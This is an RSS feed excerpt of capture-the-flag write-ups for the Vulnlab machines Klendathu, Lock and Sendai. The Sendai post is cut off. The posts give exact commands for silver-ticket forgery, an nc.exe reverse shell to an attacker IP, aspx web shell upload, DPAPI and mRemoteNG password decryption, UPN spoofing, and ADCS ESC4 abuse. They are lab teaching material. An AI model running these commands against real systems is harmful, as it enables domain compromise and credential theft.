src="https://cdn-images-1.medium.com/max/729/0*T1N7PDxKmUKO_XaK" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/0*_1GC2oNPFm0wir19" /></figure><h3>MSSQL Coerced Authentication</h3><p>The reason behind this is probably that we are a guest user in the database, Looking for any alternate functions that can allow us to query for UNC paths, there’s a neat cheat sheet for coercion through mssql but most of them didn’t work as they required administrative privileges or were blocked, xp_fileexist was working tho but it wasn&#39;t able to perform coercion just showing if the file exists</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/0*9djobC-FyCPJKtN9" /></figure><p>Searching around for utilizing file exists, there’s another function <a href="https://www.sqlshack.com/file-validation-in-sql-server-with-xp_fileexist/">sys.dm_os_file_exist</a> which we can cause coercion, even tho the functionality is the same but I am uncertain what major difference is there between the two</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/0*knQDw0ejlAyUmOGr" /></figure><pre>SELECT * FROM sys.dm_os_file_exists(&#39;\\10.8.0.136\test\&#39;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lsjbdgb7VXKfecDE" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tU5L_E5myPJoJRV6" /></figure><h3>Forging Silver Ticket</h3><p>The mssql service is running as RASCZAK user so what if we try to create a silver ticket and then access the service, we can convert the plain text into nthash with python and get the domain sid with rpcclient (or any other way we want)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/0*sLYaBHm7aRvGRnA8" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/0*v6pgIc7MIJnhapEJ" /></figure><p>For forging a silver ticket, ticketer.py will be used to do that</p><pre>ticketer.py -nthash hash -spn MSSQLSvc/SRV1.KLENDATHU.VL -domain KLENDATHU.VL -domain-sid S-1-5-21-641890747-1618203462-755025521 administrator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rh_KgMPsK9wpbBmf" /></figure><p>After using the forged ticket (silver ticket), we can see that the user we currently are is dbo which is the database owner, so now we won&#39;t have any restrictions on running xp_cmdshell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tundpGWDffICIq1E" /></figure><p>Now transferring netcat to get a shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/0*1xE_kbcyUZGqxV5q" /></figure><h3>Becoming Local Administrator on SRV1</h3><p>We can perform local privilege escalating by abusing SeImpersonte privilege through <a href="https://github.com/antonioCoco/JuicyPotatoNG">JuicyPotato-NG</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tcLa-8nNW4rofMcq" /></figure><pre>JuicyPotatoNG.exe -t * -p &quot;C:\Windows\system32\cmd.exe&quot; -a &quot;/c C:/Users/rasczak/nc.exe 10.8.0.136 2222 -e cmd.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dHq8Y6AOirepvASK" /></figure><p>From here onward there wasn’t anything we could do as dumping lsass didn’t returned any domain user’s hash other than the local admin and machine account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/0*q32fSctoFAQ21_zr" /></figure><h3>Spoofing Domain Users On GSSAPI Authentication</h3><p>Going back to bloodhound, checking outbound control on RASCZAK , we have GenericWrite and ForeChangePassword on two domain users, rico and ibanez , with this ACL we can change the password using rpcclient or net rpc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/0*NFG-0u6SzaOnXaS5" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*IAy1UPDVRtqlhv3b" /></figure><p>These accounts also don’t have any ACLs on domain objects, the machine we have is linux (SRV2), using rico to logon to SRV2 didn’t worked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/0*fj7vae9u_j25qC5e" /></figure><p>There’s a research done by <a href="https://www.pentestpartners.com/security-blog/a-broken-marriage-abusing-mixed-vendor-kerberos-stacks/">Ceri Coburn from Pen Test Partners</a>, where linux servers joined to Active Directory have misconfiguration in the authentication mechanism where name-type, enterprise is used (NT_ENTERPRISE), if we have GenericWrite on a domain user, we can edit the userPrincipalName attribute, this attribute is utilized by NT_ENTERPRISE through which we can spoof domain users (this is explained quite well in the blog post). To abuse this we need to first identify the user that we&#39;ll spoof, there&#39;s a group named LINUX_ADMINS with two members</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/0*vbQEZmCJXm5rQd43" /></figure><p>Then adding userPrincpalName to be any of the two users, for adding this attribute we can use ldapmodify for that we need to create a ldif file</p><pre>dn: cn=rico,cn=users,dc=klendathu,dc=vl<br>changetype: modify<br>modify: userPrincipalName<br>userPrincipalName: flores</pre><pre>ldapmodify -H ldap://DC1.KLENDATHU.VL -a -x -D &quot;CN=RASCZAK,CN=USERS,DC=KLENDATHU,DC=VL&quot; -W -f ./modify_user.ldif</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*AUTgB5R6Cu1WPU3j" /></figure><p>This attribute can be verified with ldapsearch</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lZmDcsRtfjI7rdhr" /></figure><p>Transfer Rubeus on SRV1 and get TGT for flores with /princapltype:enterprise</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EVTblZcjcmDPPzkB" /></figure><p>Make sure to have GSSAPI authentication in /etc/ssh/sshd_config and set the domain realm in /etc/krb5.conf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/0*f676OLqFOOG90mYe" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/0*Str5pLV2ui2hvEDk" /></figure><p>Convert the kirbi ticket to ccache and use it against ssh with -K</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-baGd4FCzYT5D5jQ" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*psrE3effTLyD3fzB" /></figure><p>We can directly become root here as flores is a “linux admin”, so just running sudo bash will give us the root shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/0*YC8a5o0Eb-T4RlVB" /></figure><p>root user’s directory has a backup of domain controller with ntds.dit , SAM and SECURITY file from the registry hive</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/0*7d4V2zOo12OTWqHX" /></figure><p>But the passwords here have been reset so there’s no point and parse the ntds file, the /tmp directory has a ticket for svc_backup account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zQIG8l8-1xFx4NuM" /></figure><p>This can be used just by transferring on our kali machine and export the ticket</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/0*CX613N2xr0Rdjm35" /></figure><p>svc_backup doesn’t have any special ACL but the description does say about syncing data to user’s directories</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/0*MMeX5LH7DTJxDaxK" /></figure><h3>Decrypting RDCMan password</h3><p>So going back at the enumeration stage where we were trying to access smb shares, there were some user’s directories, with this user those directories are accessible</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/0*KZyI-iJzyNrqQ5t_" /></figure><p>Here jnkeins.rdg , is a file containing configuration settings for connecting to remote desktop sessions, having administrator’s password hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Xj48rBt0g7Qj9OI3" /></figure><p>From chatgpt I generated a ps script to decrypt the password but it didn’t worked due to how the password is encrypted</p><pre>Add-Type -AssemblyName System.Security<br>function Unprotect-RDCManPassword {<br>    param (<br>        [Parameter(Mandatory=$true)]<br>        [string]$encryptedString<br>    )<br>try {<br>        $bytes = [Convert]::FromBase64String($encryptedString)<br>        $decryptedBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($bytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)<br>        $decryptedString = [System.Text.Encoding]::Unicode.GetString($decryptedBytes)<br>        return $decryptedString<br>    } catch {<br>        Write-Error &quot;Failed to decrypt password: $_&quot;<br>    }<br>}<br>$encryptedPassword = &quot;AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABS0Gmx4U2k+bLUYfRpOl6wAAAAACAAAAAAADZgAAwAAAABAAAAAqvWFuXTLeCWvFNnkKjNDcAAAAAASAAACgAAAAEAAAAHHnv4NI9rTi06sCfSEy5hsoAAAAtCdIUjQfzQiJj363pO1RW/XSIlS/pMf/DBn3EHb8xEha6u1f/CMguhQAAACVsld41QgTZXMtLDfgrswQaShAxQ==&quot;<br>$decryptedPassword = Unprotect-RDCManPassword -encryptedString $encryptedPassword<br>Write-Output &quot;Decrypted Password: $decryptedPassword&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kzHvnvfdBR28Xj9G" /></figure><p>So again taking a step back in jenkins&#39;s home directory, there was AppData_Roaming_Backup.zip , after extracting the archive we’ll have the path to master keys ./AppData/Roaming/Microsoft/Protect</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/0*MU8IShccBz6IJxGT" /></figure><p>Using ntdissector , domain backup keys can be extracted, there will be a file named secrets.json containing pvk value encoded in base64</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TtcaWaZa2TuHJr9m" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0as3rQL5BckdHSbf" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*x9eQXLxos5j9Joct" /></figure><p>We&#39;ll need this private key along with the path where the master keys are located and the SID of jenkins user (which can retrieved either by rpcclient, lookupsid), I&#39;ll grab the SID from bloodhound</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MX05R55FtDOmWWGB" /></figure><p>From <a href="https://github.com/tijldeneut/diana">DIANA Windows Credential Toolkit</a> , there&#39;s a script diana-msrdcmandec.py for decrypting rdcman credentials, we have all the parameters for decrypting the password from rdg file</p><pre>python3 ./script.py ./jenkins.rdg --masterkey /home/arz/Vulnlabs/Klendathu/AppData/Roaming/Microsoft/Protect/S-1-5-21-641890747-1618203462-755025521-1110 --sid S-1-5-21-641890747-1618203462-755025521-1110 -k ./key.pvk</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HCB8lzxkagO78Hf9" /></figure><p>Having administrator&#39;s password, we can just login through WinRM and get full access on the domain</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*v33qwKYydcvp-Ry1" /></figure><h3>References</h3><ul><li><a href="https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e">https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e</a></li><li><a href="https://www.sqlshack.com/file-validation-in-sql-server-with-xp_fileexist/">https://www.sqlshack.com/file-validation-in-sql-server-with-xp_fileexist/</a></li><li><a href="https://www.pentestpartners.com/security-blog/a-broken-marriage-abusing-mixed-v">https://www.pentestpartners.com/security-blog/a-broken-marriage-abusing-mixed-v</a></li><li><a href="https://www.ibm.com/docs/en/aix/7.1?topic=support-using-openssh-kerberos">https://www.ibm.com/docs/en/aix/7.1?topic=support-using-openssh-kerberos</a></li><li><a href="https://www.winter.fyi/2017/01/decrypt-password-remote-desktop-connection-manager-rdcman/">https://www.winter.fyi/2017/01/decrypt-password-remote-desktop-connection-manager-rdcman/</a></li><li><a href="https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-dpapi/#dpapi-localmachine-context">https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-dpapi/#dpapi-localmachine-context</a></li><li><a href="https://github.com/synacktiv/ntdissector">https://github.com/synacktiv/ntdissector</a></li><li><a href="https://github.com/tijldeneut/diana">https://github.com/tijldeneut/diana</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29c4eb3cbeed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnlab — Lock]]></title>
            <link>https://arz101.medium.com/vulnlab-lock-2cf8ae6ebe29?source=rss-7fb09031e8a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/2cf8ae6ebe29</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[vulnlab]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[ARZ101]]></dc:creator>
            <pubDate>Mon, 01 Jul 2024 21:09:21 GMT</pubDate>
            <atom:updated>2024-07-01T21:09:21.627Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnlab — Lock</h3><p>Lock is a basic windows machine which involved enumerating the gitea repository to find a Personal Access Token (PAT), through which it revelead having ability to deploy files on the server, allowing us to upload aspx web shell, escalating privileges to a user with remote access whose password was decrypted through mRemoteNG configuration file and further escalating to a SYSTEM user through the repair process of PDF24.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*erq-T6rRA2Lsch2t" /></figure><pre>PORT     STATE SERVICE       VERSION               <br>80/tcp   open  http          Microsoft IIS httpd 10.0<br>445/tcp  open  microsoft-ds?<br>3000/tcp open  ppp?<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)</pre><h3>PORT 80</h3><p>The webserver has template page hosted with just about section and nothing else</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eFeV21ZFCv5I2iJc" /></figure><h3>PORT 3000</h3><p>On this port there’s an instance of gitea being hosted, having a repository dev-scripts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SY6y68gfEnbKDLIQ" /></figure><p>This repo has python script which is going to list down all the repository of the user with his PAT (Presonal Access Token).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ffXxGmpyikK7R2du" /></figure><h3>Enumerating repositories</h3><p>Checking the commit history, we’ll find gitea token</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9aswoFP2kFVsWbJu" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fUU9w4BuCan1ocdq" /></figure><p>Copying the script on your local machine and using the token from commit history, the script will show another repo named website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/0*odhrxbMLRxoD8QJ1" /></figure><p>Using the PAT we can clone this repo</p><pre>git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.10.109.226:3000/ellen.freeman/website.git</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/0*D3wJtdcseA2_Rgdn" /></figure><h3>Uploading webshell</h3><p>The readme.md from the repo, says that any changes made into this repo will be deployed on the webserver, so let&#39;s verify by creating a simple html file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/0*IC8s_kMOnRB6mAl6" /></figure><p>Adding the created html file with git add file.html also setting the username and email with git config --global</p><pre>git add uwu.html <br>git config --global user.name &quot;ellen.freeman&quot;<br>git config --global user.email &quot;ellen.freeman&quot;<br>git commit -m &quot;uwu&quot;<br>git push</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/0*rKdYER9cRqd62hVw" /></figure><p>Now this file will be deployed on the webserver</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/0*KhjWGbL5DcR3efSk" /></figure><p>Since IIS server is being used as a webserver (from the nmap scan), we can upload an <a href="https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx">aspx web shell</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/0*ZQhDkhHgm11WP8NJ" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/0*pv6YDLsejsTlhI7_" /></figure><p>Transferring nc and getting a shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/0*8_UC28HHQcFkmd1l" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/0*lQQaxL-KRxJitGdO" /></figure><p>Under documents directory, we’ll find config.xml which has an encrypted password for mRemoteNG</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nFKJYHEZ8IGhJz80" /></figure><p>Using the <a href="https://github.com/gquere/mRemoteNG_password_decrypt/blob/master/mremoteng_decrypt.py">script</a> to decrypt the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/0*wCKusir5ChzvZqc9" /></figure><p>Having the credentials, we can login as gale.dakarios through RDP, after logging we can see PDF24 launcher on desktop</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/0*vP1CEk6I8AX4qHHK" /></figure><h3>Escalating privileges through PDF24</h3><p>Checking the version, it appears to be 11.15.1, which is vulnerable to local privilege escalation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/0*7ix30jYOO4DbASP7" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AvHvXlsoxWPGbwYm" /></figure><p>The vulnerabilities lies with in the repair process of PDF24, the process calls pdf24-PrinterInstall.exe which gets executed with SYSTEM privileges with write access on faxPrnInst.log, with SetOpLock this file can then be blocked or to hold that file so the pdf24-PrinterInstall.exe will still remain open and we can then the perform the actions listed in the article</p><ul><li>right click on the top bar of the cmd window</li><li>click on properties</li><li>under options click on the “Legacyconsolemode” link</li><li>open the link with a browser other than internet explorer or edge (both don’t open as SYSTEM when on Win11)</li><li>in the opened browser window press the key combination CTRL+o</li><li>type cmd.exe in the top bar and press Enter</li></ul><p>In C drive there’s a hidden directory _install having pdf24 msi file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*gQKgZhu1m2exIpSW" /></figure><p>Before running it make sure to have SetOpLock from <a href="https://github.com/googleprojectzero/symboliclink-testing-tools">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/0*WvCbaqPhieMNBPM_" /></figure><p>Now executing the installer file with msiexec</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/0*OIjMqeb_hfbxvfAH" /></figure><p>After sometime, we’ll get a cmd window for pdf24-PrinterInstall.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/0*e4lCj7HyBhrkulMF" /></figure><p>Opening the properties of this window and clicking on legacy console model link to open with firefox</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/0*RTzOY4zsbxLeb4Yr" /></figure><p>Use ctrl+o to open up a file and at the address bar type cmd.exe to spawn a shell as SYSTEM user because this whole process is being executed in the context on that user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/0*BTcuL81TMvHIcLY8" /></figure><h3>References</h3><ul><li><a href="https://kettan007.medium.com/how-to-clone-a-git-repository-using-personal-access-token-a-step-by-step-guide-ab7b54d4ef83">https://kettan007.medium.com/how-to-clone-a-git-repository-using-personal-access-token-a-step-by-step-guide-ab7b54d4ef83</a></li><li><a href="https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx">https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx</a></li><li><a href="https://github.com/gquere/mRemoteNG_password_decrypt/blob/master/mremoteng_decrypt.py">https://github.com/gquere/mRemoteNG_password_decrypt/blob/master/mremoteng_decrypt.py</a></li><li><a href="https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-msi-installer-in-pdf24-creator-geek-software-gmbh/">https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-msi-installer-in-pdf24-creator-geek-software-gmbh/</a></li><li><a href="https://github.com/googleprojectzero/symboliclink-testing-tools">https://github.com/googleprojectzero/symboliclink-testing-tools</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2cf8ae6ebe29" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnlab — Sendai]]></title>
            <link>https://arz101.medium.com/vulnlab-sendai-a7eb5cad15fd?source=rss-7fb09031e8a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/a7eb5cad15fd</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[vulnlab]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[ARZ101]]></dc:creator>
            <pubDate>Fri, 10 May 2024 22:47:32 GMT</pubDate>
            <atom:updated>2024-05-10T22:47:32.417Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnlab — Sendai</h3><p>Sendai involved enumerating usernames through smb shares having password expired, resetting their password, belonging to Support group they had GenericAll on ADMSVC group which had ReadGMSAPassword on MGTSVC$ , enumerating the system to find clifford’s password which was part of ca-operators group having full control over SendaiComputer template making it vulnerable to ESC4, then changing the configuration to make it vulnerable to ESC1, escalating to domain admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*hFhHAlWGmgmusbf0" /></figure><pre>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus           <br>80/tcp    open  http          Microsoft IIS httpd 10.0  <br>|_http-server-header: Microsoft-IIS/10.0<br>88/tcp open  kerberos-sec<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>443/tcp   open  ssl/http      Microsoft IIS httpd 10.0<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=dc.sendai.vl<br>| Subject Alternative Name: DNS:dc.sendai.vl            <br>| Issuer: commonName=dc.sendai.vl                                     <br>|_http-server-header: Microsoft-IIS/10.0                <br>| http-methods:                                <br>|_  Supported Methods: GET<br>445/tcp   open  microsoft-ds?<br>3389/tcp  open  ms-wbt-server Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=dc.sendai.vl<br>| Issuer: commonName=dc.sendai.vl<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2024-05-04T16:24:01<br>| Not valid after:  2024-11-03T16:24:01<br>| MD5:   6198fc32527e478294e38fd5c6a2b81e<br>|_SHA-1: 73b4d1026b49e0cb9c0d633982377e74f32b7db3<br>|_ssl-date: 2024-05-05T16:28:56+00:00; -1m22s from scanner time.<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>49664/tcp open  unknown<br>56740/tcp open  unknown<br>56744/tcp open  unknown</pre><h3>PORT 80/443</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0v8fgfeukYjg_Pb6" /></figure><p>Running gobuster, we can find /service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/0*NkdqAbhYbdy2ehU-" /></figure><p>However this endpoints shows that we don’t have access to it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/0*a7ssTGTZAAb1MFnr" /></figure><h3>PORT 445</h3><p>Enumerating smb shares with anonymous login, we’ll see config, sendai and Users share, where config was not accessible, Users didn&#39;t anything but sendai had some interesting files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/0*hty4x-BQImoSxrac" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/0*WQG0kcyq1IHYvPn2" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R8kScWcdPj-JmtjR" /></figure><p>The incident talked about users having weak passwords, all users will be prompted to change their password on logging in, the transfer directory had user’s directories</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/0*PJTj5yP4aFfyh04g" /></figure><h3>Resetting domain user’s password</h3><p>These users can also be enumerated through lookupsid by brute forcing sids</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/0*JYOX_p1yjbX7_IyV" /></figure><p>On trying to login with null password, we’ll get two users with password to be changed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CVOZL_UhV6B2kjhW" /></figure><p>Password can be changed with impacket-smbpasswd</p><pre>impacket-smbpasswd  sendai.vl/Thomas.Powell@dc.sendai.vl -newpass &#39;$aduwu123&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/0*qa5Lbl0Qdo15tRgS" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*O1KYbRS81EehJIM9" /></figure><p>From config share, we can grab .sqlconfig having credentials to MSSQL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/0*tJ-vIZqxlbk3oCrF" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/0*DVsfV6oOKz8FI9f3" /></figure><p>But this service isn’t exposed to us so moving on to enumerating the domain with bloodhound</p><pre>python3 bloodhound.py -u sqlsvc -p password -d sendai.vl -c all -dc dc.sendai.vl -ns 10.10.104.41</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GWHwqxGT6T3MdyXr" /></figure><p>Thomas.Powell is a member of Support group has GenericAll on ADMSVC group which has ReadGMSAPassword on MGTSVC$ account. We&#39;ll need to add thomas in ADMSVC group, read the NThash of MGTSVC account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YA6GBxgwcEgt4wXu" /></figure><h3>Abusing GenericAll and reading GMSA password</h3><p>Through bloodyAD we can add thomas in ADMSVC group having genericall rights</p><pre>python3 bloodyAD.py  --host &quot;10.10.104.41&quot; -d &#39;sendai.vl&#39; -u &#39;thomas.powell&#39; -p &#39;$aduwu123&#39; add groupMember ADMSVC thomas.powell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4qzqA3X4HkZX1SL5" /></figure><p>With gmsadumper script or with netexec we can dump the nthash of mgtsvc account</p><pre>python3 gMSADumper.py -u &#39;thomas.powell&#39; -p &#39;$aduwu123&#39; -d sendai.vl -l 10.10.104.41</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/0*fiyrXEgcS6QC_r8a" /></figure><p>This account can login on DC as it’s part of Remote Management group</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/0*1bl7OK3moacbORrN" /></figure><p>Checking the privileges after logging in through evil-winrm, it doesn’t have any privilege that we can abuse to get local admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*I_IYgOr7X73JbT9v" /></figure><h3>Obtaining clifford’s password</h3><p>From the running process, we have helpdesk which doesn’t normally run on a system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/0*peCRlCCRL98La_Dk" /></figure><p>Enumerating the system with PrivescCheck.ps1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/0*MXtdbAgPIJuLawxR" /></figure><p>This will list down the running processes from where we’ll find the clifford.davey’s creds</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/0*58jLxprmaaYyP-4-" /></figure><h3>Enumerating ADCS</h3><p>This user belongs to CA-Operators group, so he likely will be able to enroll in a custom template, enumerating templates with certipy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xibW1myS0_jXfjBu" /></figure><h3>Escalating privileges through ESC4</h3><pre>certipy find -u clifford.davey -vulnerable -target dc.sendai.vl -dc-ip 10.10.115.126 -stdout</pre><p>This lists down a template SendaiComputer which has EKU set to Client Authentication that can be used to authenticate on the system and ca-operators group has Full control over this template which means we can edit this template and impersonate as the domain admin, which is known as ESC4 (access control) abuse</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/0*qYtoY4y8EuYMa9gI" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/0*KaHgP2rsbR4OKZSE" /></figure><p>With certipy, we can change the configuration of this template to allow domain users to enroll for this template and impersonate any user</p><pre>certipy template -u clifford.davey -target dc.sendai.vl -dc-ip 10.10.115.126 -template SendaiComputer</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/0*5yfpqqzGTR3yHzCw" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hSAfGqRb7bhwltLi" /></figure><pre>certipy req -u &#39;clifford.davey&#39; -ca &#39;sendai-DC-CA&#39; -dc-ip 10.10.115.126 -target dc.sendai.vl -template &#39;SendaiComputer&#39; -upn administrator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ww6GlhZwYx8ZHL6L" /></figure><pre>certipy auth -pfx ./administrator.pfx -domain sendai.vl</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/0*-GbTHnxhwKQaxq-J" /></figure><h3>Escalating with SeImpersonate privilege</h3><p>Another way of escalating privileges is through mssql, since mssql is running internally, having access on the machine we can port forward withchisel</p><pre>chisel server -p 2222 --reverse<br>chisel.exe client 10.8.0.136:2222 R:socks</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*elwxb-RpnjLNWqKF" /></figure><p>But we’ll get login denied for sqlsvc account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/0*zKtMaCG367erYaZL" /></figure><p>With ticketer, forging a silver ticket for accessing MSSQL service as an administrator</p><pre>ticketer.py -domain-sid S-1-5-21-3085872742-570972823-736764132 -domain sendai.vl -spn MSSQL/dc.sendai.vl -nthash hash Administrator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7twrxJbM9YevHITi" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/0*xQuAO4ddOMbdFw7y" /></figure><p>Enabling xp_cmdshell which will allow us to execute system commands as sqlsvc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Vy8rQWn4JDltyAzi" /></figure><p>The difference here is that we’ll have SeImpersonate privilege, which can abuse to get local admin</p><figure><img 